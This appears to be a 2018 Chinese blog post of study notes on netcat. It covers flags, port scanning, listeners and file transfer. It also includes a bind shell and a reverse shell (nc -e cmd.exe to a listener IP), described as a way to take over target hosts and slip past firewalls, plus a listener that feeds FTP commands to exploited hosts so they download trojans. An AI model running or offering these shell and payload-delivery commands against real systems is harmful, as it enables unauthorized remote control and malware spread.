netcat 瑞士军刀-学习整理

 

  • 什么是NetCat -nc ?

 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,能当作服务器,文件传输,聊天,流媒体文件传输,更能当作黑客工具。

  • netcat下载

下载地址:https://eternallybored.org/misc/netcat/

为了方便使用,请将nc所在路径加入环境变量中。

  • netcat 命令:
-h 查看帮助信息 
-d 后台模式 
-e prog程序重定向,一但连接就执行[危险] 
-i secs延时的间隔 
-l 监听模式,用于入站连接 
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C 
-n IP地址,不能用域名 
-o film记录16进制的传输 
-p[空格]端口 本地端口号 
-r 随机本地及远程端口 
-t 使用Telnet交互方式 
-u UDP模式 
-v 详细输出,用-vv将更详细 
-w数字 timeout延时间隔 
-z 将输入,输出关掉(用于扫锚时) 
  • 端口扫描
#1. 单个端口扫描

nc -v -z 192.168.118.134  80

#2. 多端口扫描,扫描60-100所有端口

nc -v -z 192.168.118.134 60-100

-v:显示详细结果,使用-vv显示的更加的详细
-z:  扫描的时候使用,关闭输入输出(I/O)
可以加入-n 参数,用于加快扫描,即不进行域名解析,只能用IP

一旦发现端口 可以通过nc 连接命令(nc -nv IP PORT)获取对应端口服务的banner信息。

  •  端口监听 (充当服务端)
# 开启 8888端口,进行监听,用于入站连接
nc -l -v  -p 8888

-l: 监听模式,用于监测入站信息
-v: 显示详细信息
-p: 后面跟端口号,指定监听的开放的端口

# 将监听信息写入 本地文件

nc -l -v -p 8888 > log.txt

上面的监听都是一次性,如果长久建立监听使用-L命令,循环处于监听模式

通常可以作为蜜罐,或欺骗扫描器,加上-u 参数指定协议为UDP,如果不指定默认是TCP

当处于监听模式时,可以通过浏览器访问对应的IP和端口http://127.0.0.1:8888
  • 获取Shell -- 使用程序重定向
# 服务端
nc -lv -p 2223  -t -e cmd.exe

-t: 采用telnet的形式来应答
-e: 作用就是对程序进行重定向,后面指定的是程序名称,也可以是其他的程序或木马等

如果某台主机执行了上面的那条命令,就相当于一台肉鸡,只要网络畅通就可以使用nc 连上这台主机,cmd.exe就跟 2223端口绑定上了,在linux中可以指定/bin/bash,这就好比telnet不需要密码和用户名进入了对方的主机

# 一有连接通过2223端口接入就执行程序cmd.exe并把cmd.exe结果重定向到这个2223端口

# 客户端连接:

nc -n 192.168.118.134 2223

这个时候会获取一个shell,这种方式一般容易被监测和防火墙禁止,所以可以采用反向链接的方式,让服务器主动抛出请求


开启本地主机的监听:
nc -l -p 9999

攻击目标主机执行:
nc -e cmd.exe  192.168.31.122 9999

192.168.31.122开启监听服务的IP,这样被攻击的服务器会主动连接指定IP和端口
让server端主动发送请求连接就能绕过防火墙,一般防火墙很少对出站做限制
  • 文件传送

   之前可能都是用的 ftp,scp,smb等,但是这些服务都需要去安装还有比较繁琐的配置,使用nc可以很简单的解决文件传输的问题,只需要在传送文件的任意一台主机开启监听(服务端)

就可以实现。

 

# 1. 本地文件传送至server端

远程服务器端:(ip : 192.168.118.134) 接收文件
nc -lvp 2221 > 123.txt

将接收的数据写入到123.txt中

本地主机端: 发送文件
nc -n 192.168.118.134 < c:/1.txt

以上就实现了本地文件c:/1.txt 传送到远程服务器上,在远程服务上可以将接收的数据写入到指定的路径下的文件中

将远程服务器文件下载到本地,只要改变一下重定向的方向即可

server端: 发送文件

nc -lvp 2221 < 123.txt

本地端: 接收文件
nc -n 192.168.118.134 > 123.txt

注意:无论上面的哪一种,都是需要先启用服务端,然后再启用客户端

  • 其他高级用法
#1. 做蜜罐
nc -L -p 3389 做蜜罐,不停地监听3389端口
nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txt
nc -L -p 3389<c:\ftp.txt 不停地监听3389端口,并把c:\ftp.txt中内容发给连接本端口的主机,可起到传送文件作用.(此用法经常用于反向溢出)

#2.溢出用:
nc -L -p 8989<c:\ftp.txt (ftp.txt中为FTP自动下载命令)
效果:一但溢出的主机连接8989端口就会自动用FTP下载指定的文件,如木马.(此法经常用于批量溢出)

  

 

posted @ 2018-09-15 17:34  随时静听  阅读(315)  评论(0编辑  收藏  举报